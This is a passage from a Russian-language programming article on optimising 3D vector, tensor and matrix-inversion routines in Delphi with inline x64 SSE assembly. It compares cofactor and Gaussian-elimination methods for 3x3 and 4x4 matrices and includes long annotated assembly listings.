movupd XMM0, oWORD[ b_ij+0 * FloatSize ] // XMM0 = m00 | m01
movsd XMM1, qWORD[ b_ij+2 * FloatSize ] // XMM1 = m02 | w
movupd XMM2, oWORD[ b_ij+4 * FloatSize ] // XMM2 = m10 | m11
movsd XMM3, qWORD[ b_ij+6 * FloatSize ] // XMM3 = m12 | w
mulpd XMM0, XMM6 // xmm0 = m00c0 | m01c1
mulsd XMM1, XMM7 // xmm1 = m02c2 | 0
haddpd XMM0, XMM1 // xmm0 = m00c0 + m01c1 | m02c2
mulpd XMM2, XMM6 // xmm2 = m10c0 | m11c1
mulsd XMM3, XMM7 // xmm3 = m22c2 | 0
haddpd XMM2, XMM3 // xmm2 = m10c0 + m11c1 | m12c2
haddpd XMM0, XMM2 // xmm0 = m00c0 + m01c1 + m02c2 | m10c0 + m11c1 + m12c2
addpd XMM4, XMM0 // xmm4 = a0 + m0jcj | a1 + m1jcj
movupd XMM2, oWORD[ b_ij+8 * FloatSize ] // XMM2 = m20 | m21
movsd XMM3, qWORD[ b_ij+10 * FloatSize ] // XMM3 = m22 | w
mulpd XMM2, XMM6 // XMM2 = m20c0 | m21c1
mulsd XMM3, XMM7 // XMM3 = m22c2 | 0
movlhps XMM5, XMM3 // XMM5 = a2, m22c2
haddpd XMM5, XMM2 // xmm3 = m22c2+a2 | m20c0 + m21c1
haddpd XMM5, XMM5 // xmm5 = m22c2+a2 + m20c0 + m21c1 | m22c2+a2 + m20c0 + m21c1
movupd oWORD[ a_i ], XMM4
movsd qWORD[ a_i+2 * FloatSize ], XMM5
{$ELSE}
begin
a_i.x := a_i.x+b_ij.x.x * C_j.x+b_ij.x.y * C_j.y+b_ij.x.z * C_j.z;
a_i.y := a_i.y+b_ij.y.x * C_j.x+b_ij.y.y * C_j.y+b_ij.y.z * C_j.z;
a_i.z := a_i.z+b_ij.z.x * C_j.x+b_ij.z.y * C_j.y+b_ij.z.z * C_j.z;
{$IFEND CPUX64}
end;
```
```
class procedure T_SSE.Add(var a_j: T_Vect; const c_i: T_Vect; const B_ij:
T_Tens); static; register;
{$IFDEF CPUX64}
asm
{ a_i.x := a_i.x+b_ij.x.xC_j.x+b_ij.x.yC_j.y+b_ij.x.zC_j.z ;
a_i.y := a_i.y+b_ij.y.xC_j.x+b_ij.y.yC_j.y+b_ij.y.zC_j.z ;
a_i.z := a_i.z+b_ij.z.xC_j.x+b_ij.z.yC_j.y+b_ij.z.zC_j.z ;}
// C_i: RDX,
// b_ij: r8 (? compiler dependent! do not use)
// a_j: RCX
.NOFRAME
.SAVENV XMM5
.SAVENV XMM6
.SAVENV XMM7
movupd XMM4, oWORD[ a_j+0 * FloatSize ] // XMM4 = a0 | a1
movsd XMM5, qWORD[ a_j+2 * FloatSize ] // XMM5 = a2 | w
movapd XMM0, oWORD[ b_ij ] // XMM0 = m00 | m01
ADD b_ij, 2 * FloatSize
movsd XMM1, qWORD[ b_ij ] // XMM1 = m02 | w
ADD b_ij, 2 * FloatSize
movsd XMM7, qWORD[ C_i ] // XMM7 = c0 | 0
ADD C_i, FloatSize
movlhps XMM7, XMM7 // XMM7 = c0 | c0
mulpd XMM0, XMM7 // xmm0 = m00c0 | m01c0
mulsd XMM1, XMM7 // xmm1 = m02c0 | 0
addpd XMM4, XMM0 // a0+c0m00 | a1 + c0m01
addsd XMM5, XMM1 // a2+c0m02 | 0
movapd XMM0, oWORD[ b_ij ] // XMM0 = m10 | m11
ADD b_ij, 2 * FloatSize
movsd XMM1, qWORD[ b_ij ] // XMM1 = m12 | w
ADD b_ij, 2 * FloatSize
movsd XMM7, qWORD[ C_i ] // XMM7 = c1 | 0
ADD C_i, FloatSize // RDX = C_i + 2 elem
movlhps XMM7, XMM7 // XMM7 = c1 | c1
mulpd XMM0, XMM7 // xmm0 = m10c1 | m11c1
mulsd XMM1, XMM7 // xmm1 = m12c1 | 0
addpd XMM4, XMM0 // a0+c0m00+m10c1 | a1 + c0m01+m11c1
addsd XMM5, XMM1 // a2+c0m02+m12c1 | 0
movapd XMM0, oWORD[ b_ij ] // XMM0 = m20 | m21
ADD b_ij, 2 * FloatSize
movsd XMM1, qWORD[ b_ij ] // XMM1 = m22 | w
movsd XMM7, qWORD[ C_i ] // XMM7 = c2 | 0
movlhps XMM7, XMM7 // XMM7 = c2 | c2
mulpd XMM0, XMM7 // xmm0 = m20c2 | m21c2
mulsd XMM1, XMM7 // xmm1 = m22c2 | 0
addpd XMM4, XMM0 // a0+c0m00+m10c1+m20c2 | a1 + c0m01+m11c1+m21c2
addsd XMM5, XMM1 // a2+c0m02+m12c1+m22c2 | 0
movupd oWORD[a_j ], XMM4
movsd qWORD[a_j+2 * FloatSize], XMM5
{$ELSE}
begin
a_j.x := a_j.x+b_ij.x.x * C_i.x+b_ij.y.x * C_i.y+b_ij.z.x * C_i.z ;
a_j.y := a_j.y+b_ij.x.y * C_i.x+b_ij.y.y * C_i.y+b_ij.z.y * C_i.z ;
a_j.z := a_j.z+b_ij.x.z * C_i.x+b_ij.y.z * C_i.y+b_ij.z.z * C_i.z ;
{$ENDIF CPUX64}
end;
```
Обратите внимание- во второй процедуре есть код типа **ADD C\_*i, FloatSize****,* хотя *С\_*i описана как *const C\_i*. Это работает, так как обе процедуры выше описаны как static; register; и имеют меньше 4-х входных параметров, а это значит, что значение C\_i передается указателем (потому что record не влазит в регистр), но при этом кладется в регистр, и ее изменение меняет значение указателя в регистре, но не трогает реальные значения в памяти. Такой же фокус можно делать и с константными значениям других типов, которые целиком влезают в регистр- в ассемблерных процедурах они работают как локальные переменные, но нужно учитывать, что если тип переменной целиком помещается в регистр общего назначения- то вместо адреса будет передано само значение, и если тут ошибиться- то дебаг может быть нетривиальным.
#### Теперь, попробуем вычислить обратную матрицу
Начнем с матриц 3х*3.*Для вычисления обратной матрицы в этом случае можно использовать два подхода- или использовать прямую формулу- обратная матрица- это транспонированная матрица алгебраических дополнений элементов, деленая на определитель исходной матрицы, или использовать метод Гаусса с расширенной матрицей.
По прямой формуле для матрицы 33
| | | |
| --- | --- | --- |
| a.xx | a.xy | a.xz |
| a.yx | a.yy | a.yz |
| a.zx | a.zy | a.zz |
обратная матрица будет равна
| | | |
| --- | --- | --- |
| +(A.yy\**A.zz - A.yz\**A.zy)/D | -(A.xy\**A.zz - A.xz\**A.zy )/D | +(A.xy\**A.yz - A.xz\**A.yy)/D |
| -(A.yx\**A.zz - A.zx\**A.yz)/D | +(A.xx\**A.zz - A.xz\**A.zx)/D | -(A.xx\**A.yz - A.yx\**A.xz )/D |
| +(A.yx\**A.zy - A.yy\**A.zx)/D | -(A.xx\**A.zy - A.xy\**A.zx)/D | +(A.xx\**A.yy - A.xy\**A.yx)/D |
D= +(A.yy\**A.zz - A.yz\**A.zy)\**A.xx -(A.xy\**A.zz - A.xz\**A.zy )\**A.yx +(A.xy\**A.yz - A.xz\**A.yy)\**A.zx;*
обратим внимание на две вещи-
1. при расчете определителя в скобках стоят те же самые элементы, что и в первой строке конечной матрицы (а множители у этих скобок- это элементы первого столбца исходной матрицы)
2. вместо того, чтобы делить на определитель, лучше сначала вычислить 1/D, а потом уже на нее умножать (на Haswell обычная FMUL имеет латентность 5 и требует 1 такт, а FDIV- имеет латентность 10-24 и требует 8-18 тактов! Используемые в SSE mulpd- латентность 5 и 0,5 такта, divsd- латентность 10-20, 8-14 тактов- поэтому везде, где больше одного деления- лучше сначала посчитать 1/D, и потом на нее умножать).
Метод Гаусса с расширенной матрицей предполагает, что мы сначала построим матрицу вида
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| **a.xx** | a.xy | a.xz | 1 | 0 | 0 |
| a.yx | **a.yy** | a.yz | 0 | 1 | 0 |
| a.zx | a.zy | **a.zz** | 0 | 0 | 1 |
над этой матрицей проведем преобразования по методу Гаусса, сначала исключая элементы ниже главной диагонали, затем- выше главной диагонали, и после этого получим матрицу вида:
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| 1 | 0 | 0 | b.xx | b.xy | b.xz |
| 0 | 1 | 0 | b.yx | b.yy | b.yz |
| 0 | 0 | 1 | b.zx | b.zy | b.zz |
полученная в правой части b- это и есть обратная матрица.
Экспериментально проверено: для матриц 3х3 прямой расчет через дополнения выполняется быстрее исключения Гауссом. Кроме того, в методе Гаусса могут возникать нули на главной диагонали, что требует переупорядочивания строк, большого количества условных переходов, проверок, и еще усложняет без того не очень эффективный алгоритм, а прямая формула использует 1 деление, требует только одной проверки (Abs(D)> eps), и потому предпочтительнее.
Отметим еще один момент: сама матрица содержит 9 элементов, матрица результатов- еще 9 элементов, а нам доступно 32 элемента, то есть, все расчеты полностью влезают в регистры и остается еще свободное место на хранения промежуточных значений.
Страшный ассемблерный код (с комментариями), реализующий прямой расчет обратной матрицы 3х3 приведен ниже:
```
class procedure T_SSE.Invert(const S: T_Tens; const i0, i1: integer);
{$IFDEF CPUX64}
const One: double = 1.0;
Zero: double = 0.0;
eps: double = 1.0e-10;
sign: Uint64 = $7FFFFFFFFFFFFFFF;
asm
.NOFRAME
.SAVENV XMM5 // S.z.z
.SAVENV XMM6 // Res.x.x | Res.x.y
.SAVENV XMM7 // Res.x.z | w
.SAVENV XMM8 // Res.y.x | Res.y.y
.SAVENV XMM9 // Res.y.z | w
.SAVENV XMM10 // Res.z.x | Res.z.y
.SAVENV XMM11 // Res.z.z | w
.SAVENV XMM12 // tmp1
.SAVENV XMM13 // tmp2
XOR RAX, RAX
mov EAX, i0
imul RAX, 3*VectorSize // Size of Tensor
ADD RCX, RAX // RCX = @S[i0]
XOR RAX, RAX
mov EAX, i1
sub EAX, i0
inc RAX
PXOR XMM6, XMM6
PXOR XMM7, XMM7
PXOR XMM8, XMM8
PXOR XMM9, XMM9
PXOR XMM10, XMM10
PXOR XMM11, XMM11
@begin:
prefetch [RCX+ 12*FloatSize ] // предзагрузка следующего тензора в кэш
prefetch [RCX+ 16*FloatSize ]
prefetch [RCX+ 20*FloatSize ]
movupd XMM0, [RCX ] // S.x.x | S.x.y
movupd XMM1, [RCX+ 2*FloatSize] // S.x.z | w
movupd XMM2, [RCX+ 4*FloatSize] // S.y.x | S.y.y
movupd XMM3, [RCX+ 6*FloatSize] // S.y.z | w
movupd XMM4, [RCX+ 8*FloatSize] // S.z.x | S.z.y
movupd XMM5, [RCX+ 10*FloatSize] // S.z.z | w
// Рассчет алгебраических дополнений (с учетом знака перестановки)
{ Res.x.x := ( + S.y.y*S.z.z - S.y.z*S.z.y );
Res.x.y := ( + S.x.z*S.z.y - S.x.y*S.z.z ); }
movhlps XMM6, XMM2 // XMM6.L = S.y.y
movlhps XMM6, XMM3 // XMM6.h = S.y.z
blendpd XMM5, XMM4, 2 // XMM5= S.z.z | S.z.y
mulpd XMM6, XMM5 // XMM6 = S.y.yS.z.z | S.y.zS.z.y
movhlps XMM12, XMM4 // XMM12.L = S.z.y
movlhps XMM12, XMM5 // XMM12.h = S.z.z
blendpd XMM1, XMM0, 2 // XMM1 = S.x.z | S.x.y
mulpd XMM12, XMM1 // XMM13 = S.x.z*S.z.y | S.x.y*S.z.z
hsubpd XMM6, XMM12 // XMM6 = Res.x.x | Res.x.y }
{ Res.y.x := ( + S.z.x*S.y.z - S.y.x*S.z.z );
Res.y.y := ( + S.x.x*S.z.z - S.x.z*S.z.x ); }
movsd XMM8, XMM4 // XMM8.L = S.z.x
movlhps XMM8, XMM2 // XMM8.h = S.y.x
movlhps XMM3 , XMM5 // XMM3 = S.y.z | S.z.z
mulpd XMM8, XMM3 // XMM8 = S.z.x*S.y.z | S.y.x*S.z.z
movsd XMM13, XMM0 // XMM12.L = S.x.x
movlhps XMM13, XMM1 // XMM13 = S.x.x | S.x.z
movlhps XMM5, XMM4 // XMM5 = S.z.z | S.z.x
mulpd XMM13, XMM5 // XMM13 = S.x.x*S.z.z | S.x.z*S.z.x
hsubpd XMM8, XMM13 // XMM8 = Res.y.x | Res.y.y
{ Res.z.x := ( + S.y.x*S.z.y - S.y.y*S.z.x );
Res.z.y := ( + S.x.y*S.z.x - S.x.x*S.z.y ); }
movhlps XMM10, XMM4
movlhps XMM10, XMM4 // XMM10 = S.z.y | S.z.x
pxor XMM12, XMM12
subpd XMM12, XMM10 // XMM10 = -S.z.y | -S.z.x
mulpd XMM12, XMM0 // XMM12 = S.z.y*S.y.x | S.z.x*S.y.y
mulpd XMM10, XMM2 // XMM10 = -S.x.x*S.z.y | -S.x.y*S.z.x
hsubpd XMM10, XMM12 // XMM10 = Res.z.x | Res.z.y
{ Res.x.z := ( + S.x.y*S.y.z - S.x.z*S.y.y ); // XMM7.L
Res.y.z := ( + S.y.x*S.x.z - S.x.x*S.y.z ); // XMM9.L
// Reorder:
Res.x.z := ( + S.x.y*S.y.z - S.y.y*S.x.z ); // XMM7.L
Res.y.z := -( S.x.x*S.y.z - S.y.x*S.x.z ); // XMM9.L }
movlhps XMM3, XMM3 // XMM3 = S.y.z | S.y.z
mulpd XMM3, XMM0 // XMM3 = S.x.x*S.y.z | S.x.y*S.y.z
movapd XMM12, XMM2 // XMM12 = S.y.x | S.y.y
movlhps XMM1, XMM1 // XMM1 = S.x.z | S.x.z
mulpd XMM12, XMM1 // XMM12 = S.y.x*S.x.z | S.y.y*S.x.z
subpd XMM3, XMM12 // XMM3 = S.x.x*S.y.z-S.y.x*S.x.z | S.x.y*S.y.z - S.y.y*S.x.z
// = -Res.y.z | Res.x.z
pxor XMM9, XMM9 // XMM9 = 0 | 0
subsd XMM9, XMM3 // XMM9 = Res.y.z
movhlps XMM7, XMM3 // XMM11 = Res.x.z
{ Res.z.z := ( + S.x.x*S.y.y - S.x.y*S.y.x ); }
movhlps XMM11, XMM2 // XMM10 = S.y.y | w
movlhps XMM11, XMM2 // XMM10 = S.y.y | S.y.x
mulpd XMM11, XMM0 // XMM11 = S.x.x*S.y.y | S.x.y*S.y.x
hsubpd XMM11, XMM11 // XMM11 = S.x.x*S.y.y - S.x.y*S.y.x
{ D := S.x.x*Res.x.x + S.x.y*Res.y.x + S.x.z*Res.z.x ==
Res.x.x*S.x.x + Res.x.y*S.y.x + Res.x.z*S.z.x }
movlhps XMM0, XMM2
dppd XMM0, XMM6, 49 // dppd- dot product packed double
// imm8 = bit0 | ~bit1 | bit4 | bit5
// bit0- save res to low half
// bit1- save res to high half
// bit4- * low parts
// bit5- * high parts
// XXM0 = (s.xx | s.yx)*(Res.xx | Res.xy)
mulsd XMM4, XMM7 // XMM4 = S.zx * Res.xz
addsd XMM4, XMM0 // now XMM4 = D = Determinant(S)!
// Check if D< eps:
movsd XMM0, XMM4
movsd XMM1, sign
pand XMM0, XMM1 // убрали знак D- получили XMM0 = Abs(D)
movsd XMM1, eps
comisd XMM1, XMM0 // if ABS (D) > eps then PROCEED else EXIT
jnbe @exit
// Res now is the Matrix of algebraic complements,
// Out := mult(Res,1.0/D);
movsd XMM3, One
divsd XMM3, XMM4
movlhps XMM3, XMM3 // XMM3 = 1.0/D | 1.0/D
mulpd XMM6, XMM3
movupd oWORD[RCX ], XMM6 // S.x.x | S.x.y
mulpd XMM7, XMM3
movupd oWORD[RCX+ 2*FloatSize], XMM7 // S.x.z |
mulpd XMM8, XMM3
movupd oWORD[RCX+ 4*FloatSize], XMM8 // S.y.x | S.y.y
mulpd XMM9, XMM3
movupd oWORD[RCX+ 6*FloatSize], XMM9 // S.y.z |
mulpd XMM10, XMM3
movupd oWORD[RCX+ 8*FloatSize], XMM10 // S.z.x | S.z.y
mulpd XMM11, XMM3
movupd oWORD[RCX+ 10*FloatSize], XMM11 // S.z.z |
// sfence
@exit:
Add RCX, 3*VectorSize // next matrix
dec RAX
cmp RAX, 0
jg @begin // if RAX > 0- invert next matrix
{$ELSE}
var i: integer;
begin
for i := i0 to i1 do
Invert( T_TensorArr(@S)[i] );
{$IFEND}
end;
```
Хорошо, обращение матрицы 3х3- вещь полезная и часто нужная, но иногда еще нужно обращать матрицы 4х4 (например, при расчете линейной аппроксимации трехмерной функции методом наименьших квадратов на неструктурированном множестве точек).
#### Матрицы 4х4
И тут ситуация в корне изменилась.
Во-первых, прямой метод требует расчета алгебраических дополнений- сейчас это стали определители 3х3.
Во-вторых, сама матрица занимает уже 16 элементов- ровно половину доступных нам регистров, матрица результата- еще 16 элементов, промежуточные значения хранить уже физически негде, а перекидывать данные из XMM-регистров в обычные и обратно мы не можем. Можно скидывать данные в стек, но тогда реализация станет совсем неподьемной. Что же делать?
К счастью, у меня созрел гениальный план. Во-первых, в моей физике используемые матрицы- обычно достаточно хорошо обусловлены и как правило- имеют диагональное если не преобладание, то как минимум- превалирование (преобладание- это когда элемент больше суммы модулей остальных элементов, превалирование- это когда он больше по модулю любого другого в строке, но не их суммы). Во-вторых- я подумал, что мне совсем не обязательно хранить всю расширенную матрицу, если я использую метод Гаусса.
Дело в том, что в методе Гаусса с расширенной матрицей на любом этапе очень много фиксированных значений. Вот смотрите- до начала расчетов :
| | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- |
| [xx | xy] | [xz | xt] | **[1** | **0]** | **[0** | **0]** |
| [yx | yy] | [yz | yt] | **[0** | **1]** | **[0** | **0]** |
| [zx | zy] | [zz | zt] | **[0** | **0]** | **[1** | **0]** |
| [tx | ty] | [tz | tt] | **[0** | **0]** | **[0** | **1]** |
*фиксированные значения я выделил жирным. После зануления первого столбца:*
| | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- |
| **[1** | xy’] | [xz’ | xt’] | **[res.xx** | **0** | **[0** | **0]** |
| **[0** | yy’] | [yz’ | yt’] | **[res.yx** | **1** | **[0** | **0]** |
| **[0** | zy’] | [zz’ | zt’] | **[res.zx** | **0** | **[1** | **0]** |
| **[0** | ty’] | [tz’ | tt’] | **[res.tx** | **0** | **[0** | **1]** |
с точки зрения операций над строками этой матрицы, нам ничто не мешает перекинуть 5-й столбик вместо первого, но тогда у нас снова окажется в левой половине матрица с какими-то значениями, а в правой- та же самая единичная матрица, с которой мы начали- как будто ничего с ней и не произошло. А раз так- то зачем же ее обрабатывать? она же не меняется!
после зануления элементов ниже главной диагонали мы получим матрицу:
| | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- |
| **1** | xy | xz | xt | **res.xx’** | **0** | **0** | **0** |
| **0** | **1** | yz | yt | **res.yx** | **res.yy** | **0** | **0** |
| **0** | **1** | **1** | zt | **res.zx** | **res.zy** | **res.zz** | **0** |
| **0** | **0** | **0** | **1** | **res.tx** | **res.ty** | **res.tz** | **res.tt** |
И на любом шаге алгоритма ровно половина элементов имеют точно известные значения (нули и единицы). А это значит, нам на самом деле не нужно хранения двух полных матриц, достаточно хранить только изменяющиеся значения. Кроме того, можно заметить, что элементы в левой и правой частях расширенной матрицы очень удачно дополняют друг друга- если слева- полная матрица- то справа- нет вообще ни одного произвольного элемента, если слева- нижний треугольник занулен- то в правой части именно в этом треугольнике и есть ненулевые элементы. Если на главной диагонали левой части стоят единицы- то на главной диагонали правой части- стоят значения, а если в левой части- значения, то в правой части- единицы. Поэтому можно крутить данные только в одной квадратной матрице, используя для хранения промежуточных вычислений 8 освободившихся XMM-регистров.
Итак, алгоритм у нас получается примерно такой:
```
Выбираем строку с номером i=1.
сохраняем D.ii с главной диагонали этой строки, например- “xx”,
на его место записываем 1.0.
вычисляем 1/D,
всю строку с этим элементом умножаем на 1/D.
выбираем j-ю строку j=i+1
выбираем в ней i-й элемент (‘yx’), копируем его.
вместо него записываем 0.
вычисляем 1/’yx’
умножаем на это значение всю j-ю строку,
вычитаем из строки j строку i.
переходим к j+1
если строки кончились- увеличиваем i=i+1, и повторяем.
когда обработаем так все строки- аналогичным образом выполняем обратный ход метода Гаусса
```
Из вспомогательных значений нам нужны 0.0e+0, 1.0e+0 (их можно хранить в 1 XMM-регистре), какой-то регистр для копирования промежуточных значений, регистр, в который мы будем сохранять результаты деления, и у нас остается еще 5 свободных регистров, которые можно использовать (но некуда).
Соответствующая портянка ассемблерного кода- под катом.
```
type
T_M4 = array [0..3,0..3] of real;
class procedure T_SSE.Invert_gauss(var S: T_M4);
{$IFDEF CPUX64}
const FloatSize = 8;
One: double = 1.0;
Zero: double = 0.0;
asm
.NOFRAME
.SAVENV XMM5
.SAVENV XMM6
.SAVENV XMM7
.SAVENV XMM8
.SAVENV XMM9
.SAVENV XMM10
movupd XMM0, [RCX ] // S.x.x | S.x.y
movupd XMM1, [RCX+ 2*FloatSize] // S.x.z | S.x.t
prefetch [RCX + 4*FloatSize] // slightly increase overall performance (~1%)
PXOR XMM10,XMM10
// FORWARD MOVE
// STEP #1
// STEP #1.prep: D = 1.0/ S.x.x S.x.x = 1; S.x := S.xD;
movsd XMM8, One // XMM8.L = 1.0;
movsd XMM9, XMM0 // EXTRACT DIVIDER!
movsd XMM0, XMM8 //XMM0 = 1 | S.x.y
divsd XMM8, XMM9 // D := 1.0 / S.x.x;
movlhps XMM8, XMM8 // XMM8 = D | D
mulpd XMM0, XMM8 // S.x = S.xD
mulpd XMM1, XMM8 // XMM0 XMM1= a00d | a01d || a02d | a03d
movupd XMM2, [RCX+ 4*FloatSize] // S.y.x | S.y.y
movupd XMM3, [RCX+ 6*FloatSize] // S.y.z | S.y.t
prefetch [RCX + 8*FloatSize]
// STEP #1.y: D := S.y.x; s.y.x := 0; S.y = S.y- S.xD
movsd XMM8, XMM2 // XMM8 = (D= S.y.x) | 0
movlhps XMM8, XMM8 // XMM8 = D | D
movsd XMM2, XMM10 // S.y.x := 0; XMM2 = 0 | S.y.y
movapd XMM9, XMM0 // copy S.x.x, S.x.y
mulpd XMM9, XMM8 // mul
subpd XMM2, XMM9 // XMM2 = -S.x.xD | S.y.y - S.x.yD
movapd XMM9, XMM1 // copy S.x.z, S.x.t
mulpd XMM9, XMM8 // mul
subpd XMM3, XMM9 // XMM3 = S.y.z - S.x.zd | S.y.t - S.x.td //}
// STEP #1.z: D := S.z.x; s.z.x := 0; S.z = S.z- S.xD
movupd XMM4, [RCX+ 8*FloatSize] // S.z.x | S.z.y
movupd XMM5, [RCX+ 10*FloatSize] // S.z.z | S.z.t
prefetch [RCX + 12*FloatSize]
movsd XMM8, XMM4 // XMM8 = (D= S.y.x) | 0
movlhps XMM8, XMM8 // XMM8 = D | D
movsd XMM4, XMM10 // S.z.x:= 0; XMM4 = 0 | S.z.y
movapd XMM9, XMM0 // Copy S.x.x, S.x.y
mulpd XMM9, XMM8 // mul
subpd XMM4, XMM9 // XMM4 = -S.x.xD | S.y.y - S.x.yD
movapd XMM9, XMM1 // copy S.x.z , S.x.t
mulpd XMM9, XMM8 // mul
subpd XMM5, XMM9 // XMM5 = S.z.z - S.z.zd | S.z.t - S.z.td //}
// STEP #1.t: D := S.t.x; s.t.x := 0; S.t = S.t- S.xD
movupd XMM6, [RCX+ 12*FloatSize] // S.t.x | S.t.y
movupd XMM7, [RCX+ 14*FloatSize] // S.t.z | S.t.t
movsd XMM8, XMM6 // XMM8 = (D= S.y.x) | 0
movlhps XMM8, XMM8 // XMM8 = D | D
movsd XMM6, XMM10 // S.t.x:= 0; XMM6 = 0 | S.z.y
movapd XMM9, XMM0 // Copy S.y.x, S.y.y
mulpd XMM9, XMM8 // mul
subpd XMM6, XMM9 // XMM6 = -S.x.xD | S.y.y - S.x.yD
movapd XMM9, XMM1 // copy S.z.z , S.z.t
mulpd XMM9, XMM8 // mul
subpd XMM7, XMM9 // XMM7 = S.z.z - S.z.zd | S.z.t - S.z.td //}
// STEP #4.prep D := 1.0/S.y.y; S.y.y = 1; S.y := S.yD;
movsd XMM8, One
movhlps XMM9, XMM2 // XMM9 = S.y.y | w
movlhps XMM2, XMM8 // XMM2 = S.y.x | S.y.y=1
divsd XMM8, XMM9 // XMM8 = 1.0/ S.y.y = D
movlhps XMM8, XMM8
mulpd XMM2, XMM8 // XMM2 = S.y.xD | D= 1/S.y.y
mulpd XMM3, XMM8 // XMM3 = S.y.zD | S.y.tD
// STEP #4.z D := S.z.y; S.z.y := 0; S.z := S.z-S.yD
movhlps XMM8, XMM4 // XMM9= D=S.z.y | w
movlhps XMM8, XMM8 // XMM8= D | D
movlhps XMM4, XMM10 // XMM4= S.z.x | S.z.y=0
movapd XMM9, XMM2 // XMM9= S.y.x | S.y.y
mulpd XMM9, XMM8 // XMM9= S.y.xD | S.y.yD
subpd XMM4, XMM9 // XMM4= S.z.x - S.y.xD | 0 -S.y.yD
movapd XMM9, XMM3 // XMM9= S.y.z | S.y.t
mulpd XMM9, XMM8 // XMM9= S.y.zD | S.y.tD
subpd XMM5, XMM9 // XMM4= S.z.z - S.y.zD | S.z.t - S.y.tD
// STEP #4.t D := S.t.y; S.t.y := 0; S.t := S.t-S.yD
movhlps XMM8, XMM6 // XMM9= D=S.t.y | w
movlhps XMM8, XMM8 // XMM8= D | D
movlhps XMM6, XMM10 // XMM4= S.t.x | S.t.y=0
movapd XMM9, XMM2 // XMM9= S.y.x | S.y.y
mulpd XMM9, XMM8 // XMM9= S.y.xD | S.y.yD
subpd XMM6, XMM9 // XMM4= S.t.x - S.y.xD | 0 -S.y.yD
movapd XMM9, XMM3 // XMM9= S.y.z | S.y.t
mulpd XMM9, XMM8 // XMM9= S.y.zD | S.y.tD
subpd XMM7, XMM9 // XMM4= S.t.z - S.y.zD | S.t.t - S.y.tD
// STEP #5.prep D := 1.0/S.z.z; S.z.z = 1; S.z := S.zD;
movsd XMM8, One
movsd XMM9, XMM5 // XMM9 = S.z.z | w
movsd XMM5, XMM8 // XMM5 = S.z.z=1 | S.z.t
divsd XMM8, XMM9 // XMM8 = 1.0/ S.z.z = D
movlhps XMM8, XMM8
mulpd XMM4, XMM8 // XMM4 = S.z.xD | D= 1/S.z.z
mulpd XMM5, XMM8 // XMM5 = S.z.zD | S.z.tD
// STEP #5.t D := S.t.z; S.t.z := 0; S.t := S.t-S.zD
movsd XMM8, XMM7 // XMM8= D=S.t.z | w
movlhps XMM8, XMM8 // XMM8= D | D
movsd XMM7, XMM10 // XMM7= S.t.z=0 | S.t.t
movapd XMM9, XMM4 // XMM9= S.z.x | S.z.y
mulpd XMM9, XMM8 // XMM9= S.z.xD | S.z.yD
subpd XMM6, XMM9 // XMM4= S.t.x - S.z.xD | S.t.y -S.z.yD
movapd XMM9, XMM5 // XMM9= S.z.z | S.z.t
mulpd XMM9, XMM8 // XMM9= S.z.zD | S.z.tD
subpd XMM7, XMM9 // XMM7= 0 - S.z.zD | S.t.t - S.z.tD
// STEP #6 D := 1/S.t.t; S.t.t := 1.0; S.t := S.tD
movsd XMM8, One
movhlps XMM9, XMM7 // XMM9 = S.t.t | w
movlhps XMM7, XMM8 // XMM7 = S.t.z | S.t.t=1
divsd XMM8, XMM9 // XMM8 = 1.0/ S.z.z = D
movlhps XMM8, XMM8
mulpd XMM6, XMM8
mulpd XMM7, XMM8
// save S.t
movupd oWORD[RCX+ 12*FloatSize], XMM6 // S.z.x | S.z.y
movupd oWORD[RCX+ 14*FloatSize], XMM7 // S.z.z |
// BACKWARD MOVEMENT!
// STEP #7.x-y D := S.x.y; S.x.y := 0; S.x -= S.yD
movhlps XMM8, XMM0 // XMM8= D=S.x.y | w
movlhps XMM8, XMM8 // XMM8 = D | D
movlhps XMM0, XMM10 // S.x.y = 0
movapd XMM9, XMM2 // XMM9= S.y.x | S.y.y
mulpd XMM9, XMM8 // XMM9= S.y.xD | S.y.yD
subpd XMM0, XMM9 // XMM0= S.x.x+S.y.xD | S.y.yD
movapd XMM9, XMM3 // XMM9= S.y.z | t
mulpd XMM9, XMM8 // XMM9= S.y.zD | t
subpd XMM1, XMM9 // XMM0= S.x.z+S.y.zD | t
// STEP #7.y-z D := S.y.z; S.y.z := 0; S.y -= S.zD
movsd XMM8, XMM3 // XMM8= D=S.y.z | w
movsd XMM3, XMM10 // S.y.z := 0
movlhps XMM8, XMM8 // XMM8 = D | D
movapd XMM9, XMM4 // XMM9= S.z.x | S.z.y
mulpd XMM9, XMM8 // XMM9= S.z.xD | S.z.yD
subpd XMM2, XMM9 // XMM0= S.y.x-S.z.xD | S.y.y-S.z.yD
movapd XMM9, XMM5 // XMM9= S.y.z | t
mulpd XMM9, XMM8 // XMM9= S.y.zD | t
subpd XMM3, XMM9 // XMM0= S.x.z+S.y.zD | t
// STEP #7.x-z D := S.x.z; S.x.z := 0; S.x -= S.zD
movsd XMM8, XMM1 // XMM8= D=S.x.z | w
movsd XMM1, XMM10 // S.x.z := 0
movlhps XMM8, XMM8 // XMM8 = D | D
movapd XMM9, XMM4 // XMM9= S.t.x | S.t.y
mulpd XMM9, XMM8 // XMM9= S.t.xD | S.t.yD
subpd XMM0, XMM9 // XMM0= S.z.x-S.t.xD | S.z.y-S.t.yD
movapd XMM9, XMM5 // XMM9= S.t.z | S.t.t
mulpd XMM9, XMM8 // XMM9= S.t.zD | S.t.tD
subpd XMM1, XMM9 // XMM0= S.z.z-S.t.zD | S.z.t-S.t.tD
// STEP #7.z-t D := S.z.t; S.z.t := 0; S.z -= S.tD
movhlps XMM8, XMM5 // XMM8= D=S.z.t | w
movlhps XMM5, XMM10 // S.z.t := 0
movlhps XMM8, XMM8 // XMM8 = D | D
movapd XMM9, XMM6 // XMM9= S.t.x | S.t.y
mulpd XMM9, XMM8 // XMM9= S.t.xD | S.t.yD
subpd XMM4, XMM9 // XMM0= S.z.x-S.t.xD | S.z.y-S.t.yD
movapd XMM9, XMM7 // XMM9= S.t.z | S.t.t
mulpd XMM9, XMM8 // XMM9= S.t.zD | S.t.tD
subpd XMM5, XMM9 // XMM0= S.z.z-S.t.zD | S.z.t-S.t.tD
// SAVE S.z
movupd oWORD[RCX+ 8*FloatSize], XMM4 // S.z.x | S.z.y
movupd oWORD[RCX+ 10*FloatSize], XMM5 // S.z.z |
